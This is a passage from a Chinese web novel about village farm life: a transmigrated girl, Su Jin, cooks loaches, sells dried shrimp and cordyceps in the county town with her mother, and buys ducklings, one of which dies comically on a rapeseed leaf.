这里还没有辣椒,但韭菜多的是。苏瑾打算做清蒸泥鳅,这个做发很适合没有辣椒的情况下做,能最大程度保留泥鳅的鲜味,口感鲜嫩。
移栽的韭菜还是光秃秃的,苏瑾带着弟弟们去林子里挖野生的。
野韭菜是宽宽的叶片,苏瑾一开始没认出来,还是英恒告诉她这个像野草的东西就是韭菜。
这里不仅有野韭菜,还有野葱。苏瑾一并挖了,给泥鳅增加一点味道。
把挖回来的配菜交给惠娘清理,苏瑾招呼两个弟弟过来,教他们怎么处理泥鳅。
“看着啊。”苏瑾掐紧泥鳅,向弟弟们做示范。
把泥鳅剪去头部,去除内脏,用清水洗净。
“跟着姐姐学,保管吃得好!”
19. 母女进城
韭菜切段,切葱花,和泥鳅混合腌制十五分钟。
锅里加水烧开,放如蒸架,把腌制好的泥鳅放进去蒸个十五分钟。等泥鳅熟透取出,再撒上一些葱花即可。
“好香啊!一点泥腥味都没有!”
英恒迫不及待的要动筷子,被惠娘拍了手:“急什么?做饭的都还没上桌。”
“饭来了。”苏瑾把芋头稀饭端上桌,示意大家,“吃饭吧!”
英恒、英杰不等饭盛好,夹了一条清蒸泥鳅塞嘴里。
“好吃!”
肉质鲜嫩,口感细腻,还带着野韭菜和野葱特有的辛辣味道。
看两兄弟吃得这么香,惠娘也动了筷子:“嗯!确实好吃!”
惠娘给女儿竖了个大拇指:“阿瑾这手艺,都可以去酒楼当大厨了!”
那有那么夸张?苏瑾不好意思的摸摸头:“以后养猪了,杀年猪熬油,我再做一道干煸泥鳅给你们吃。干煸的味道和清蒸的大不相同,你们应该也会喜欢的。”
“喜欢。”英恒嘴巴里塞了一口饭,含糊不清的说。
说到养猪,自然又得提一提挣钱的事。
惠娘看那大半桶河虾,想到了挣钱的法子:“阿瑾,那河虾咱们就不吃了。咱们把它晒干了拿去卖钱。”
“能卖得出去吗?”这东西河里多的是。谁想吃了,拿沥水篮子去捞捞,就能凑一盘子,谁肯花钱买?
“咱们本地的自然不会买,娘打算卖给行商。”惠娘解释说,“每年都有行商收这些水产,我们可以去试试。”
行商南来北往的,往草原沙漠里去,倒腾两地特产。低买高卖,利润大着呢!
“行。”苏瑾爽快答应,“要不要我再去捞点?”
“吃完饭你和阿恒去。多捞些攒起来,大集的时候去县城碰碰运气。”
有了挣钱的门路,苏瑾浑身都是劲。英恒才放下碗筷,她就迫不及待的把人拉走。
“姐,我吃胀着了,你等我坐坐。”啊哟,饭后要休息一下才能干活,要不然会肚子疼的。
苏瑾给弟弟一个暴栗:“笨蛋阿恒,挣钱都得让人赶着你,你真是没救了!”
英恒被气到了,自己只是想休息一下,有必要这么说他吗?气鼓鼓的一把夺了水桶,他说:“坏蛋姐姐!”
苏瑾才没功夫管她,她现在只想赶紧挣钱把债还上。对于一个从来没欠过债的人来说,欠债的滋味太难受了,睡觉都睡不安稳。
一连在不同的地方捞了几天,直到家里的簸箕、沥水篮子没一个空着的了,苏瑾才停下来。
“这些晒干了该有七八斤吧?”哦!耀眼的小钱钱,我马上就能拥有了,好开心!
“想什么呢?”惠娘翻晒着虾米,说,“这些晒干能有个四五斤就谢天谢地了!”
“不是吧?”小钱钱,跑掉了!苏瑾一下子不开心了。
“要是晒干了有斤量,还轮得到我们来挣这个钱?”
好吧好吧,苏瑾跑门槛上蹲着,小脑袋里寻找挣钱的法子。
“娘,这边收药材的多不多?”前世奶奶带着她挖药材挣到过钱,不如去挖药材卖?
“就两三个,还是二道手贩子。”惠娘想了想,挖药材卖也是个办法,“现在先不管这个。咱们家没牛,等把虾干卖了,就得松土准备种麦子了。不然那么多地,咱们家人少,你们又小,别到时候耽误了播种时间。”
种庄稼重要,挣钱也重要,惠娘补了一句:“等麦子种下去,咱们一家子去挖。”
“好吧!”
哎!苏瑾叹气,在这里挣钱可真难!
原先做衣服卖,倒是能挣钱,6只是原材料是大伯负责买入的,现在分家了,大伯他们肯定要靠卖衣服挣钱,她们不好再做这个生意。
虾干全靠碳火烘干,暂时得要个一两天才能弄好的样子。苏瑾一心都是挣钱,惠娘烘虾干,她就带两个弟弟先去山上找找药材,万一找到什么珍惜药材,那也能小赚一笔嘛!
晃荡在山林里,苏瑾想到了一个值钱的药材,拿棍子在地上画出样子来,问两个弟弟有没有看见过这东西。
“你们看看姐姐画的这个东西,仔细想想有没有在哪见过。”
英恒看着姐姐画的猪儿虫想了想,这个东西他好像见过。
“啊!我想起来了。”英恒兴奋的说,“这个虫子我看见苏大夫在村口前山那边挖到过!”
“真的?快带我们过去看看。”
英恒打头,带着他们去苏大夫挖到这个虫子的地方。
“诺,就是这里。”
苏瑾按照自己的经验,趴在地上,往草已经长出来的地方仔细找,没多久就找到一个略带黄色的草头。她带出来挖药材的工具是一把尖头铲,十分好用。
小心保持整株药材不被弄断,苏瑾把它剥离缠绕的草根。
“当当当当!”苏瑾给两个弟弟打个样,“看到这个草头没有?你们学着我的样子趴在地上找,找到了就叫我,我来挖。”
“好。”两兄弟认真看了药材的样子,齐声答好。
许是挖药材的人少,这座山上有不少这种药材。三姐弟连中午饭都没回去吃,一直挖到天擦黑才回去。
“娘,你看我们挖到了什么?”苏瑾向母亲展示一天的成果。
惠娘看着虫子一样的东西,疑惑的问:“这是什么东西?”
“药材啊。”
“这玩意是药材?”惠娘见都没见到这个东西,本着对女儿的信任,还是相信这是药材。
“娘,虾干烘干完了吗?”苏瑾迫不及待要去县城一趟。
“今天你们没回来吃饭,多烘了好久,已经全部烘干了。”
“太好了!明天就是县城大集日,咱们去卖东西吧。”
“行。”惠娘也盼着早点挣到钱,好把建房钱给二伯。
昨天苏老二请村里专门建房子的匠人来选木材,已经打算要建房子了。他们心善没开口催她拿钱,但因着苏志远的原因,她哪有脸一直拖着?早点把钱给了,她才能安心。
县城路远,惠娘天才微微亮就催着女儿起床。
“快起来去县里了。”
“嗯?”苏瑾脑袋还没清醒,迷迷瞪瞪的坐起来。
惠娘看女儿一脸懵,笑着推推她:“挣钱去了!”
“啊?哦!”
“挣钱”两个字像开关似的,苏瑾一下子就清醒了,掀了被子爬起来。
为了省钱,母女俩在家里煮了早饭吃,再烙两个大饼当午饭。
“阿瑾,虾干和药材你拿,娘再背点粮食一起去卖。”
家里盐没多少了,不知道虾干和药材
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能卖多少钱,保险起见,惠娘背四十斤粮食去卖。就是其他东西不值钱,这些粮食足够买盐了。
苏瑾有信心挣到钱,惠娘坚持要卖粮食,她也没拦着。钱嘛,当然是越多越好啦。
前一天就告诉两个小的她们今天要出去,苏瑾和惠娘拿热灰捂着锅,让他们起床后有热饭吃。
准备好一切,出发!
和女儿走在路上,惠娘想起还是姑娘时,她和母亲第一次去县里,看什么都新鲜。她拉着母亲在县里逛了一天,直到太阳落山才被强拉着回家。
那一次,和娘回去的路上,还遇到一对野鸳鸯,气得她娘后来再去县城,都不愿意带她去。
想到母亲,惠娘淡了笑容。要是娘家还在,苏志远这样烂赌的败家子,就算公婆人再好,她拼着再倒贴一副嫁妆,也要带着孩子们和离。
卖药材越到散集的时候越值钱,惠娘带着女儿先去卖粮食,等把其他事情办好了再去卖药材。
她们运气好,找地方摆摊的时候正好有一个大娘卖完东西,收拾收拾准备离开。
“大哥,麻烦你帮我把粮食放下来。”
隔壁卖竹编的汉子搭把手,帮惠娘把粮食放下来摆好。
“大哥,谢谢你啊。”
汉子和气的摆手:“顺手的事。”
陆续有几个过来文惠娘粮食怎么卖。惠娘报了价格,他们抓了一把粮食看成色,看起来都挺满意的,却又都放下粮食走了。
“娘,他们怎么不买啊?”苏瑾抓起一把粮食看,没问题啊,她们又没掺假。
惠娘老江湖了,知道这些人的心理:“他们是准备等快散集的时候来买。散集的时候要是卖不出去,谁不着急啊?到时候他们要是压价,只要不是很过分,还不是要卖给他们。”
“啧啧啧,他们也太奸诈了!”没想到不同世界的人在这方面都是一个样子,她当留守儿童那些年,也是下午放学了才去买水果这些东西的。像水果这一类容易坏的,卖家怕时间久了放坏,散集的时候都是挥泪大甩卖,就算倒贴一点也无所谓。
“谁说不是。”惠娘心想,她们不是也和这些人也是一样的心理,等着散集了去卖药材。
粮食没被捡漏,两个人等到太阳当空,被一个大娘全部买了。不过,大娘腿脚不好,要求她们送货上门。
卖出去就好。惠娘没多说,带着苏瑾给粮食送到人家家里去。
“辛苦你们了,来,喝点水解解渴。”
两人接了碗,等大娘去屋里拿钱结账。
“来,总共一百二十个大钱,你们数数对不对。”
对于钱,苏瑾和惠娘一样谨慎,两人认真数清数目,给大娘道了声谢离开。
粮食脱手,惠娘带女儿先去驿站卖掉了虾干。总共四斤八两的虾干,行商多给了一点,凑了三十四的整数。
“还以为虾干能值多点钱呢,没想到才这么点。”合起来一天都没挣到十文钱,这还不算柴火钱。那些柴要是闷成碳,都能卖到虾干一半的钱了。好挫败哦!
“别这么想,三十四文钱,买粮食,都够你吃一个月了。”
娘,多谢安慰,但是我一点都没被安慰到。
现在还早,看女儿不是很开心,惠娘摸摸她的头,带着她到处转转,看看新鲜的事物,顺便买要买的东西。
20. 搞笑鸭鸭
转了一圈,苏瑾看到有人在卖鸡苗鸭苗,心里有了主意。
分到手的土地贫瘠,种了庄稼收成也不好。她早计划了要肥田,只是手里没什么钱,买不起猪羊。
鸭子在地里活动,可以疏松土壤,增强土壤的透气性和透水性。拉的粪便还能增加土壤肥力,提供农作物生长所需的氮、磷、钾等养分,减少化肥的施用量,有助于改良土壤结构。
最重要的是,鸭子大了可以吃肉。竹笋老鸭汤、酸萝卜老鸭汤、鸭血粉丝汤、烤鸭……鸭肉吃了,鸭毛也不能放过。
绒毛做成羽绒服,轻巧保暖;长成的羽毛当填充物做床垫,或者做成箭羽。
鸭鸭真是暖身又暖胃,好处多多,买它!
“娘,我们买几只鸭苗吧。又能吃肉又能肥地。”
家里没有鸡鸭,孩子们也是要吃肉的,猪仔买不起,鸡苗鸭苗还是能买几只的。
惠娘向摊主询问价格:“老板,这鸭苗怎么卖的?”
“鸭苗十文钱,鸡苗八文。”
“咱们现在总共一百五十四文钱,除了买五斤盐的七十五文,还剩下……”
“七十九文。”苏瑾快速回答。
“老板,你这还要卖多久?”惠娘问。
“还早着呢。”
“阿瑾,走,把药材卖了再来买。”都中午了,又买了好多东西,回去走得更慢。卖了药材回来再买鸡鸭,省下一点力气。
母女俩寻了个大医馆,径直去柜台上。
“掌柜的,你们这儿收药材吗?”惠娘问。
正在扒拉算盘的男子面白,留着小山羊胡子,人称刘掌柜。刘掌柜打量面前的母女两眼,合上账本,对她们说道:“收的。二位这边请。”
说着,掌柜的从柜台后面绕出来,带着母女二人到一张空桌前坐下。
“把药材给我看看。”
药材是苏瑾拿着的。她把匣子里的药材拿出来放桌子上。药材一根一根分开包裹着,完整无缺。
“掌柜的请看。”
刘掌柜打开纸包,抖抖药材上面的泥,见里面包的是虫草,面上带上几分惊喜。
“这药材不好找,更难得的是整株药材完完整整的。
苏瑾趁机问价:“那这药材掌柜的出个什么价?”
“你们这虫草品相好。这样吧,”刘掌柜看完所有的虫草,给了个公道价,“一株二十二文钱。”
粮食才几文钱一斤,没想到这像虫子一样的东西竟然能值二十二文!惠娘惊讶于虫草的价格,连忙点头说:“多谢请掌柜的。”
“你们在这儿等一会儿,我算了钱给你们结账。”刘掌柜招呼店里学徒,“小王,倒两碗水来。”
“诶,来了。”
十二三岁的小子提了茶壶给惠娘和苏瑾倒了两大碗茶水。
“多谢小哥。”
学徒笑着提了茶壶走开。
惠娘靠近女儿小声说:“要是知道这药材值钱,娘早该和你们去找。等回去了,咱们再去多挖些来卖。”
苏瑾给她娘解释:“娘,这药材不好找。有这个药材的地方都我和弟弟们都寻遍了,也就才找到这么几根。咱们还是多买点鸡鸭回去。”
“鸡生蛋,蛋生鸡,买一次鸡崽鸭崽,就有源源不断鸡鸭。这多好啊?”
惠娘泄了气,还以为能多个进项呢!不过女儿说的也没错,养鸡鸭也挺好的。养几个月,一只鸭子能卖几十文钱呢!
惠娘不再想挖药材的事,“咕噜咕噜”喝着碗里的水。
刘掌柜算好钱,拿着串好的铜板过来结账。
“一根虫草二十二文,总共六十二根,就是一千三百六十四文。”刘掌柜把两串钱放在桌子上,让她们清点数目,“大姐,这一串一千问,另外一串三百六十四文,你们自己数数数,看对不对得上。”
别的好说,涉及钱财,惠娘和苏瑾各拿一串钱认真数起来。
“小王,等她们数好了,你记得把药材拿到后院交给制药师父。小心些,别把药材弄坏了。”
“师父,我知道了。”小王拿了个凳子守着两人。
铜板数量多,怕数漏了,母女俩数了三遍才停下来。
“数目对得上。”惠娘收了钱,将钱分做两份。女儿一份她一份。
一千枚一串的她自己收了,剩下的归苏瑾。
“那就麻烦小哥了,我们先走了。”
从医馆出来,苏瑾和惠娘快步回到卖鸡鸭的摊子前。
“怎么就只剩下这么几只了?”这才多久的功夫,鸡鸭加起来就只剩下十几二十只了!
“哎呦,大姐你又来了。看看,是要鸡崽还是鸭崽?”
“老板,你这都没剩下几只了,能不能便宜点?”这都是挑剩下的,苏瑾总感觉没有那么壮实。
老板哈哈一笑:“你们要是能把剩下的包圆了,我单送你们一只笼子装。”
至于降价什么的,那可不得行。要是都这样,以后大家都等着捡漏,他的生意可不好做了。
惠娘倒是理解老板:“那成,你帮忙找个大一点的笼子来装。”
老板把笼子抖干净放地上,和惠娘一起捉鸡鸭。
“诶,这两只不要。”苏瑾把精神头不好的几只放到一边,“这一看就是弱苗,我买回去没两天就死了,那不是浪费钱吗?”
那几只是不太健康,卖不出去,自己带回去也没用。老板嘴巴说得好听:“蚊子再小也是肉。这样吧,这几只就送你们了,活了是你们运气,要是没挺住,也多个菜是不?”
“那行,你先把这边的钱算出来,那几只单独拿个笼子装。”惠娘点了数,催着老板算钱。
“你这个大姐也太精了,我白送你几只还不够,还得搭上个笼子!”老板有些无奈的说着,脸上却是挂着笑的。
惠娘笑着说:“哎呦,我把鸡鸭都买完了,你也能早点回家。你就吃点亏,送个笼子呗。”
老板连说:“好嘛好嘛,谢谢你了!下次还来照顾我生意啊。”
鸡鸭装好,大笼子惠娘给横在箩筐上背回去。小的那个苏瑾用手提着就行。
两人回到家时,天已经黑了。英恒英杰拿火盆烧了火,在屋檐下等她们。
听到母亲和姐姐大喊着“开门”,兄弟俩隔着门缝看了一眼,确定是自家人,才敢开门。
“娘、姐姐,有没有买好吃的?”
惠娘才把箩筐放下,英恒英杰就伸手把装着鸡鸭的笼子拿开,借着火光翻找吃的。
“诶诶诶,你们两个像什么样?没看娘和我都还饿着肚子呢,两个小没良心的,也不知道先给我们弄两碗饭来。”
两兄弟看姐姐气哼哼的,忙把锅盖拿开,指着热乎乎的饭菜说:“你们快吃。”
苏瑾就是逗
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他们的,弟弟这么乖,做姐姐的就奖励奖励他们。
“啰,”苏瑾拿出串了十个铜板的两串钱放在弟弟们手里,“这是卖药材的钱,你们两个还小,就分给你们一人十个大钱。”
“哇!”比起吃的,英恒英杰更喜欢钱。
“谢谢娘,谢谢姐姐。”两兄弟拿着钱躲到一边嘀嘀咕咕,商量着怎么花。
惠娘看姐弟三人高高兴兴的,也跟着笑了起来。
阿瑾聪明,能顶事。阿恒阿杰也听话不惹事,没了苏志远,她们母子几个会越过越好的!
“阿恒、阿杰,你们吃了没有?”
“我们等了好久,肚子饿了就先吃了。”
母亲疼爱,手足情深,就是粗茶淡饭,苏瑾也吃得开心。
惠娘把鸡鸭照顾得好,弱苗没死,一天天健壮起来。
养了一个多月,鸭子能下水了,英杰专门去河边照看鸭子,其他人忙着种地。
这天,英杰赶鸭子去油菜地里吃草,下午把鸭子赶回去数数时却发现少了一只。
他钻进油菜地里找了几趟都没找着,急得眼泪吧嗒吧嗒掉。
“大姐,二哥,有一只鸭子不见了。”
“啊?!”
苏瑾安慰弟弟:“没事,别哭了,姐姐陪你去找。”
等英杰情绪稳定些,她才问:“阿杰,你今天把鸭子赶到哪里吃的草?”
英杰抽抽搭搭说:“就在油菜地里。”
惠娘在煮晚饭,三姐弟趁着天还没黑,钻进油菜地里找鸭子。
一大片油菜地,苏瑾看得仔细,找了半天,终于在一株油菜上看到小鸭的身影。
苏瑾提起挂在油菜叶上死得邦硬的鸭子气笑了:“想过被狗咬想过被猫追,就是没想到被菜叶单杀。”
“阿恒、阿杰,找到鸭子了。”
知道鸭子搁油菜叶上上吊自杀,两兄弟的表情也是一言难尽。
被三姐弟围观的鸭子岔开两条腿的坐在地上稳稳当当,鸭头耷拉着,像是在说自己不是故意的。
哈基鸭,即使燃尽了也不愿意倒下吗?你这家伙真是的……
半人高的油菜挺得笔直,无不透露着自豪:看我厉害吧,单杀鸭子。
“把鸭子提回去加餐吧!”
麦子总算是种完了,苏瑾睡了个午觉,背上箩筐准备出门。
“姐,你干啥去?我和你去。”英恒像个跟屁虫似的,撵着他姐出去。
“割草喂鸡鸭,你去不去?”
“我去,来来来,让我背大的这个箩筐。”
扔了个小的箩筐给弟弟,苏瑾说他:“你跟个豆芽菜似的,背什么大箩筐?别把腰压坏了,以后连自己都养不活。”
“知道了,姐!我以后多注意,一定保护好我自己。”
“走吧走吧。”真是个讨人喜欢的孩子!
自从发生了“油菜叶单杀小鸭”事件,惠娘就把鸭子圈养起来,准备等它们大些再放出去。
“大姐,现在种完麦子了,咱们能不能去找苏秦哥练箭?”好久没练了,英恒感觉自己的箭术退步了好多。
“是哦,好久没看见他了。咱们明天去找苏秦哥,看他有没有空和我们一起练箭。”
这段时间家里发生这么多事,她们又忙着种地,都没时间去找苏秦完。距离上一次见面都过去了好长时间了,还怪想他的。